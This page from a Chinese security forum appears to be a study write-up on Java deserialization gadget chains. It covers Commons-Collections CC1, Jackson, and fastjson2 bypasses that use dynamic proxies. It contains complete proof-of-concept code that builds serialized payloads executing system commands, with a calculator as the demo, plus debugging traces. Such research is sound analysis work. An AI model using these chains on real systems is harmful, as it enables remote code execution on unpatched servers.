uW0gkeu7SpfvOeSM02k+Cb2R7t2z95dpV7vmLf3qswfeK3RKzk2JwmjWY6TA2Bdw9EcgDcgptutIo7tpwzv3t8a6l7ea5VyxaeqFRPyZ/840g6R8NvbH7p4vnu1et/eXWLb1jvoZvYx8KRqjnSXGvOCJYBL8wJGwQzhMuFq6G2mZ6E9gDaRhlUWMmzS6bSbonRI0iVD4C9RQTgzQdywxSfyAb4IcQbcbadmCXxTKJGSQWNbSQCLRQBzEajL4kz8Y/QJJqjrGegAhtlIaOHyI0Dz0V9LrO87qwz/b64kGLbpaxt1XOt/YaZ+kswbivjqQWzbRGouzgn9
<style>@-moz-keyframes blink{50%{background-color:transparent}}@-webkit-keyframes blink{50%{background-color:transparent}}@keyframes blink{50%{background-color:transparent}}pre code.hljs{overflow-x:auto}.hljs{color:#000}.hljs-comment,.hljs-variable{color:green}.hljs-built_in,.hljs-keyword{color:#00f}.hljs-literal,.hljs-string,.hljs-title{color:#a31515}.markdown-body{color-scheme:light;--color-prettylights-syntax-comment:#6e7781;--color-prettylights-syntax-constant:#0550ae;--color-prettylights-syntax-entity:#8250df;--color-prettylights-syntax-storage-modifier-import:#24292f;--color-prettylights-syntax-entity-tag:#116329;--color-prettylights-syntax-keyword:#cf222e;--color-prettylights-syntax-string:#0a3069;--color-prettylights-syntax-variable:#953800;--color-prettylights-syntax-brackethighlighter-unmatched:#82071e;--color-prettylights-syntax-invalid-illegal-text:#f6f8fa;--color-prettylights-syntax-invalid-illegal-bg:#82071e;--color-prettylights-syntax-carriage-return-text:#f6f8fa;--color-prettylights-syntax-carriage-return-bg:#cf222e;--color-prettylights-syntax-string-regexp:#116329;--color-prettylights-syntax-markup-list:#3b2300;--color-prettylights-syntax-markup-heading:#0550ae;--color-prettylights-syntax-markup-italic:#24292f;--color-prettylights-syntax-markup-bold:#24292f;--color-prettylights-syntax-markup-deleted-text:#82071e;--color-prettylights-syntax-markup-deleted-bg:#FFEBE9;--color-prettylights-syntax-markup-inserted-text:#116329;--color-prettylights-syntax-markup-inserted-bg:#dafbe1;--color-prettylights-syntax-markup-changed-text:#953800;--color-prettylights-syntax-markup-changed-bg:#ffd8b5;--color-prettylights-syntax-markup-ignored-text:#eaeef2;--color-prettylights-syntax-markup-ignored-bg:#0550ae;--color-prettylights-syntax-meta-diff-range:#8250df;--color-prettylights-syntax-brackethighlighter-angle:#57606a;--color-prettylights-syntax-sublimelinter-gutter-mark:#8c959f;--color-prettylights-syntax-constant-other-reference-link:#0a3069;--color-fg-default:#24292f;--color-fg-muted:#57606a;--color-fg-subtle:#6e7781;--color-canvas-default:#ffffff;--color-canvas-subtle:#f6f8fa;--color-border-default:#d0d7de;--color-border-muted:hsl(210,18%,87%);--color-neutral-muted:rgba(175,184,193,0.2);--color-accent-fg:#0969da;--color-accent-emphasis:#0969da;--color-attention-subtle:#fff8c5;--color-danger-fg:#cf222e}.markdown-body{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;margin:0;color:var(--color-fg-default);background-color:var(--color-canvas-default);font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body a{background-color:transparent;color:var(--color-accent-fg);text-decoration:none}.markdown-body a:active,.markdown-body a:hover{outline-width:0}.markdown-body strong{font-weight:600}.markdown-body h1{margin:0.67em 0;padding-bottom:0.3em;font-size:2em;border-bottom:1px solid var(--color-border-muted)}.markdown-body img{border-style:none;max-width:100%;-webkit-box-sizing:content-box;box-sizing:content-box;background-color:var(--color-canvas-default)}.markdown-body ::-webkit-input-placeholder{color:inherit;opacity:0.54}.markdown-body ::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}.markdown-body a:hover{text-decoration:underline}.markdown-body h1,.markdown-body h2{margin-top:24px;margin-bottom:16px;font-weight:600;line-height:1.25}.markdown-body h2{font-weight:600;padding-bottom:0.3em;font-size:1.5em;border-bottom:1px solid var(--color-border-muted)}.markdown-body code{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace}.markdown-body pre{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;word-wrap:normal}.markdown-body ::-webkit-input-placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body ::placeholder{color:var(--color-fg-subtle);opacity:1}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>*:first-child{margin-t
<style>#md_view{padding:0 20px}#md_view img:hover{cursor:pointer}</style>
<!--[if lt IE 9]>
<script src="/static/js/html5shiv.min.js"></script>
<script src="/static/js/respond.min.js"></script>
<![endif]-->
<style>.hot{z-index:10}</style>
<style>html #layuicss-skinlayercss{display:none;position:absolute;width:1989px}@-webkit-keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceIn{0%{opacity:0;-webkit-transform:scale(.5);-ms-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}@-webkit-keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);-ms-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);-ms-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);-ms-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);-ms-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);-ms-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@-webkit-keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);-ms-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);-ms-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@keyframes shake{0%,100%{-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);-ms-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);-ms-transform:translateX(10px);transform:translateX(10px)}}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes bounceOut{100%{opacity:0;-webkit-transform:scale(.7);-ms-transform:scale(.7);transform:scale(.
<body>
<div class="global-nav mb-50">
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container nav">
<div class="visible-xs header-response sf-hidden">
</div>
<div class="row hidden-xs">
<div class="col-sm-9 col-md-9 col-lg-9">
<div class=navbar-header>
<button type=button class="navbar-toggle collapsed sf-hidden" data-toggle=collapse data-target=#global-navbar>
</button>
<div class=logo><a class="navbar-brand logo" href=https://forum.butian.net/></a></div>
</div>
<div class="collapse navbar-collapse" id=global-navbar>
<ul class="nav navbar-nav">
<li><a href=https://forum.butian.net/>首页 <span class=sr-only>(current)</span></a></li>
<li><a href=https://forum.butian.net/questions>问答</a></li>
<li><a href=https://forum.butian.net/shop>商城</a></li>
<li><a href=https://forum.butian.net/community>实战攻防技术</a></li>
<li><a href=https://forum.butian.net/articles>漏洞分析与复现</a>
<span class=hot>NEW</span>
</li>
<li><a href=https://forum.butian.net/movable>活动</a></li>
<li><a href=https://forum.butian.net/questions/Play>摸鱼办</a>
</li>
</ul>
<form role=search id=top-search-form action=https://forum.butian.net/search method=GET class="navbar-form hidden-sm hidden-xs pull-right">
<span class="btn btn-link"><span class=sr-only>搜索</span><span class="glyphicon glyphicon-search"></span></span>
<input type=text name=word id=searchBox class=form-control placeholder value>
</form>
</div>
</div>
</div>
</div>
</nav>
</div>
<div class="top-alert mt-60 clearfix text-center">
<!--[if lt IE 9]>
<div class="alert alert-danger topframe" role="alert">你的浏览器实在<strong>太太太太太太旧了</strong>,放学别走,升级完浏览器再说
<a target="_blank" class="alert-link" href="http://browsehappy.com">立即升级</a>
</div>
<![endif]-->
</div>
<div class=wrap>
<div class=container>
<div class="row mt-10">
<div class="col-xs-12 col-md-9 main" style=width:100%>
<div class=widget-article>
<h3 class="title word-wrap">fastjson 原生反序列化配合动态代理绕过限制</h3>
<ul class=taglist-inline>
</ul>
<div class="content mt-10">
<div class="quote mb-20">
对于动态代理,只记得 cc1 接触过一次,然后就没有怎么碰到过了,而且动态代理似乎利用面还是比较广的,许多关键时刻都会使用到,这里正好来重新学习学习,还记得入门 java 的时候动态代理就学了半天,感觉确实很抽象
</div>
<textarea id=md_view_content style=display:none>fastjson 原生反序列化配合动态代理绕过限制
=========================
前言
--
对于动态代理,只记得 cc1 接触过一次,然后就没有怎么碰到过了,而且动态代理似乎利用面还是比较广的,许多关键时刻都会使用到,这里正好来重新学习学习,还记得入门 java 的时候动态代理就学了半天,感觉确实很抽象
cc1 动态代理初识
----------
首先是我们的调用链
```php
AnnotationInvocationHan.readobject--proxy.entryset--AnnotationInvocationHan.invoke--LazyMap.get--chainedTransformer.transformer....
```
**POC**
```php
package cc1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC1lazy {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
//定义一系列Transformer对象,组成一个变换链
Transformer[] transformers = new Transformer[]{
//返回Runtime.class
new ConstantTransformer(Runtime.class),
//通过反射调用getRuntime()方法获取Runtime对象
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
//通过反射调用invoke()方法
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
//通过反射调用exec()方法启动notepad
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//将多个Transformer对象组合成一个链
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hash = new HashMap&amp;lt;&amp;gt;();
//使用chainedTransformer装饰HashMap生成新的Map
Map decorate = LazyMap.decorate(hash, chainedTransformer);
//通过反射获取AnnotationInvocationHandler类的构造方法
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
//设置构造方法为可访问的
constructor.setAccessible(true);
//通过反射创建 Override 类的代理对象 instance,并设置其调用会委托给 decorate 对象
InvocationHandler instance = (InvocationHandler) constructor.newInstance(Override.class, decorate);
//因为AnnotationInvocationHandler是继承了代理接口的所以可以直接使用它的构造器去构造一个代理的处理器但是需要强转
//创建Map接口的代理对象proxyInstance,并设置其调用处理器为instance
Map proxyInstance = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, instance);
//再次通过反射创建代理对象
Object o = constructor.newInstance(Override.class, proxyInstance);
serialize(o);
unserialize("1.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
out.writeObject(obj);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
out.readObject();
}
}
```
这里我们只对动态代理的部分做分析
这里本来的目的是寻找一个能够嫁接调用 get 的地方
找到了 AnnotationInvocationHandler 的 invoke 方法
```php
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") &amp;amp;&amp;amp; var5.length == 1 &amp;amp;&amp;amp; var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
switch (var4) {
case "toString":
return this.toStringImpl();
case "hashCode":
return this.hashCodeImpl();
case "annotationType":
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() &amp;amp;&amp;amp; Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
```
只需要它的 memberValues 可以控制就 ok
所以就回到了如何触发 invoke 的问题上来了
![](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-3a2346294dfa6dad08c222c02bd3de66bca01cde.png)
可以看到他 implements 了InvocationHandler 这个接口,说明这个类也可以动态代理
因为实现了这个接口必须重写一个 invoke 方法,而且方法会在代理对象的方法被调用时执行,所以我们如果创建一个动态代理,而且把它作为代理的处理器,那么就可以成功的触发 invoke 方法
我们知道因为动态代理的缘故,只要有代理对象的方法被触发,他也会触发。
具体的 cc1 的细节我们就不看了,关键就是如何出的 invoke 方法
接下来是怎么创建一个代理,来把这个类作为代理对象?我们只要使用 Proxy 创建一个代理实例,将我们构造的 AnnotationInvocationHandler 对象作为调用处理器传入。代理什么?
由于 AnnotationInvocationHandler.readObject() 是反序列化的入口,我们需要通过 AnnotationInvocationHandler 来包装由 Proxy 创建的代理对象,并将其重新序列化。
在反序列化时memberValues 的 entrySet() 方法会被调用,而我们希望 memberValues 内部存储的代理对象能够触发 invoke() 方法,从而进入我们构造的链条。
因为 memberValues 是一个 Map 类型,所以我们需要通过 Proxy 创建一个 Map 类型的代理对象。
简单的调试看看调用栈
```php
invoke:57, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy1 (com.sun.proxy)
readObject:444, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
unserialize:67, CC1lazy (cc1)
main:57, CC1lazy (cc1)
```
这里因为调用了 public abstract java.util.Set java.util.Map.entrySet()触发了动态代理
调用代理的 invoke 方法,从而接起了后面的链子
JdkDynamicAopProxy 代理绕过
-----------------------
当然上面的代理虽然是我们链子中的常客,但是限制还是很大的,因为在高版本的 jdk 改了
这里我们看看这个动态代理类
首先如何寻找这种代理呢
其实很简单,只需要实现我们的接口,我们找接口的实现类
![](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-d7f3a422275e0ecde616eaee2af9bf8067d9b84f.png)
但是限制就是需要我们存在依赖
网上找了一下,发现以前见过,网上公开的利用就是在 jackson 原生反序列化的时候
参考https://xz.aliyun.com/t/12846?time\_\_1311=GqGxuDcDRGexlxx2DU27oDkmD8SGCmzmeD
是为了解决 jackson 原生不稳定的痛点
正常的调用链
```php
package org.jackson;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
public class EXP {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "xxx");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode jsonNodes = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(exp);
FileOutputStream fout=new FileOutputStream("1.ser");
fout.write(barr.toByteArray());
fout.close();
FileInputStream fileInputStream = new FileInputStream("1.ser");
System.out.println(serial(exp));
deserial(serial(exp));
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
```
但是会爆错
```php
Caused by: java.lang.NullPointerException
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getStylesheetDOM(TemplatesImpl.java:450)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
```
爆指针的问题
是因为
在调用 getter 方法的时候,是根据 props 的顺序来决定的
```php
protected void serializeFields(Object bean, JsonGenerator gen, SerializerProvider provider)
throws IOException
{
final BeanPropertyWriter[] props;
if (_filteredProps != null &amp;amp;&amp;amp; provider.getActiveView() != null) {
props = _filteredProps;
} else {
props = _props;
}
int i = 0;
try {
for (final int len = props.length; i &amp;lt; len; ++i) {
BeanPropertyWriter prop = props[i];
if (prop != null) { // can have nulls in filtered list
prop.serializeAsField(bean, gen, provider);
}
}
if (_anyGetterWriter != null) {
_anyGetterWriter.getAndSerialize(bean, gen, provider);
}
} catch (Exception e) {
String name = (i == props.length) ? "[anySetter]" : props[i].getName();
wrapAndThrow(provider, e, bean, name);
} catch (StackOverflowError e) {
...
}
}
```
顺序不固定
```php
transletindex
stylesheetDOM
outputProperties
```
当 `stylesheetDOM` 在 `outputProperties` 之前,所以 `getStylesheetDOM` 会先于 `getOutputProperties` 触发。当 `getStylesheetDOM` 方法先被触发时,由于 `_sdom` 成员为空,会导致空指针报错,反序列化攻击失败。
所以我们利用 JdkDynamicAopProxy 类来代理就是为了解决不稳定痛点
我们看到它的 invoke 方法
```php
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Object oldProxy = null;
boolean setProxyContext = false;
TargetSource targetSource = this.advised.targetSource;
Object target = null;
Object retVal;
try {
if (!this.equalsDefined &amp;amp;&amp;amp; AopUtils.isEqualsMethod(method)) {
Boolean var18 = this.equals(args[0]);
return var18;
}
if (!this.hashCodeDefined &amp;amp;&amp;amp; AopUtils.isHashCodeMethod(method)) {
Integer var17 = this.hashCode();
return var17;
}
if (method.getDeclaringClass() == DecoratingProxy.class) {
Class var16 = AopProxyUtils.ultimateTargetClass(this.advised);
return var16;
}
if (this.advised.opaque || !method.getDeclaringClass().isInterface() || !method.getDeclaringClass().isAssignableFrom(Advised.class)) {
if (this.advised.exposeProxy) {
oldProxy = AopContext.setCurrentProxy(proxy);
setProxyContext = true;
}
target = targetSource.getTarget();
Class&amp;lt;?&amp;gt; targetClass = target != null ? target.getClass() : null;
List chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);
if (chain.isEmpty()) {
Object[] argsToUse = AopProxyUtils.adaptArgumentsIfNecessary(method, args);
retVal = AopUtils.invokeJoinpointUsingReflection(target, method, argsToUse);
} else {
MethodInvocation invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
retVal = invocation.proceed();
}
Class&amp;lt;?&amp;gt; returnType = method.getReturnType();
if (retVal != null &amp;amp;&amp;amp; retVal == target &amp;amp;&amp;amp; returnType != Object.class &amp;amp;&amp;amp; returnType.isInstance(proxy) &amp;amp;&amp;amp; !RawTargetAccess.class.isAssignableFrom(method.getDeclaringClass())) {
retVal = proxy;
} else if (retVal == null &amp;amp;&amp;amp; returnType != Void.TYPE &amp;amp;&amp;amp; returnType.isPrimitive()) {
throw new AopInvocationException("Null return value from advice does not match primitive return type for: " + method);
}
Object var12 = retVal;
return var12;
}
retVal = AopUtils.invokeJoinpointUsingReflection(this.advised, method, args);
} finally {
if (target != null &amp;amp;&amp;amp; !targetSource.isStatic()) {
targetSource.releaseTarget(target);
}
if (setProxyContext) {
AopContext.setCurrentProxy(oldProxy);
}
}
return retVal;
}
```
最后会返回一个 retVal 对象,而这个对象是
```php
AopUtils.invokeJoinpointUsingReflection(this.advised, method, args)
```
得来的,跟进 invokeJoinpointUsingReflection 方法
![image-20240620150501324](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-67e6f48890ff83cbed3d6062a5ae266fed8e5aa3.png)
可以看到可以反射调用方法
而 `advised` 成员是一个 `org.springframework.aop.framework.AdvisedSupport` 类型的对象,它的 `targetSource` 成员中保存了 `JdkDynamicAopProxy` 类代理的接口的实现类。
思路就是
```php
1. 构造一个 `JdkDynamicAopProxy` 类型的对象,将 `TemplatesImpl` 类型的对象设置为 `targetSource`
2. 使用这个 `JdkDynamicAopProxy` 类型的对象构造一个代理类,代理 `javax.xml.transform.Templates` 接口
3. JSON 序列化库只能从这个 `JdkDynamicAopProxy` 类型的对象上找到 `getOutputProperties` 方法
4. 通过代理类的 `invoke` 机制,触发 `TemplatesImpl#getOutputProperties` 方法,实现恶意类加载
```
我们举一反三,使用在 fastjson 的原生反序列化中
替代 TemplatesImpl 并不容易,主要是因为要么所需的依赖库较为冷门,或者对版本的要求较为严格,要么是替代品的使用方式并不直观或不够灵活。
因此,换一种思路,我尝试在 JsonArray 和 TemplatesImpl 之间引入一个“中间层”,作为一个连接桥梁,这样既避免了直接替换 TemplatesImpl 的复杂性,又能够实现所需的功能
这里我们调试一下文章给出的代码
```php
public class Fastjson4_JdkDynamicAopProxy {
public Object getObject (String cmd) throws Exception {
Object node1 = TemplatesImplNode.makeGadget(cmd);
Object node2 = JdkDynamicAopProxyNode.makeGadget(node1);
Proxy proxy = (Proxy) Proxy.newProxyInstance(Proxy.class.getClassLoader(),
new Class[]{Templates.class}, (InvocationHandler)node2);
Object node3 = JsonArrayNode.makeGadget(2,proxy);
Object node4 = BadAttrValExeNode.makeGadget(node3);
Object[] array = new Object[]{node1,node4};
Object node5 = HashMapNode.makeGadget(array);
return node5;
}
public static void main(String[] args) throws Exception {
Object object = new Fastjson4_JdkDynamicAopProxy().getObject(Util.getDefaultTestCmd());
Util.runGadgets(object);
}
}
```
可以很直观的看到是代理了 Templates 接口
在代理类的构造中
```php
public class JdkDynamicAopProxyNode {
public static Object makeGadget(Object gadget) throws Exception {
AdvisedSupport as = new AdvisedSupport();
as.setTargetSource(new SingletonTargetSource(gadget));
return Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy",AdvisedSupport.class,as);
}
}
```
我们构造的恶意 TemplatesImpl 作为 TargetSource
![](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-9c8f7d309df5ed43608f409942013f615f53d1e0.png)
因为代理的是 Templates
![](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-b11688f47625badf834ced00093980fbd438816d.png)
可以看到是只有一个 getter 方法,所以调用栈如下
```php
invoke:160, JdkDynamicAopProxy (org.springframework.aop.framework)
getOutputProperties:-1, $Proxy1 (com.sun.proxy)
write:-1, OWG_1_1_$Proxy1 (com.alibaba.fastjson2.writer)
write:3124, JSONWriterUTF16 (com.alibaba.fastjson2)
toString:914, JSONArray (com.alibaba.fastjson2)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
readObject:1396, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
deserialize:53, Util (common)
runGadgets:38, Util (common)
main:24, Fastjson4_JdkDynamicAopProxy
```
只会调用getOutputProperties 方法,触发我们的 invoke
![](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-0b2823e66e3757ab202e01e3bbb1291e1c26c853.png)
然后调用到我们 `TemplatesImpl#getOutputProperties` 方法成功实现中间过渡
![](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-4468c557105a61e7c8baffe1cf0b02fdc8e69f78.png)
ObjectFactoryDelegatingInvocationHandler 绕过
-------------------------------------------
还是一样方法
![](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-bed5418f252e7122640d18a752c402f9809e0ab5.png)
首先主体逻辑还是和上面一样的,核心还是代理 Templates 接口
我们看到 invoke 方法
```php
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
switch (method.getName()) {
case "equals":
return proxy == args[0];
case "hashCode":
return System.identityHashCode(proxy);
case "toString":
return this.objectFactory.toString();
default:
try {
return method.invoke(this.objectFactory.getObject(), args);
} catch (InvocationTargetException var6) {
throw var6.getTargetException();
}
}
}
```
可以看到逻辑,还是一样的,不过区别在于我们的对象是 this.objectFactory.getObject()获取的了
目的就是需要它返回我们的 teamplatesImpl 对象
首先我们寻找继承了 ObjectFactory 的类
![](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-d838e1c809c0a91046b4280aa398049a0c94a0d4.png)
也不太多
找了一下确实没有能够利用的
这里师傅的想法是
用 JSONObject 代理 ObjectFactoryDelegatingInvocationHandler 中的 objectFactory 属性,返回 teamplatesImpl
说真的,简直很妙
我们看到 invoke 方法
![](https://shs3.b.qianxin.com/attack_forum/2025/02/attach-fda9853749d2588e61fd356ece5722216f1fe1e1.png)
没想到它也是一个代理类
调试分析一下
```php
invoke:292, AutowireUtils$ObjectFactoryDelegatingInvocationHandler (org.springframework.beans.factory.support)
getOutputProperties:-1, $Proxy2 (com.sun.proxy)
write:-1, OWG_1_1_$Proxy2 (com.alibaba.fastjson2.writer)
write:3124, JSONWriterUTF16 (com.alibaba.fastjson2)
toString:914, JSONArray (com.alibaba.fastjson2)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
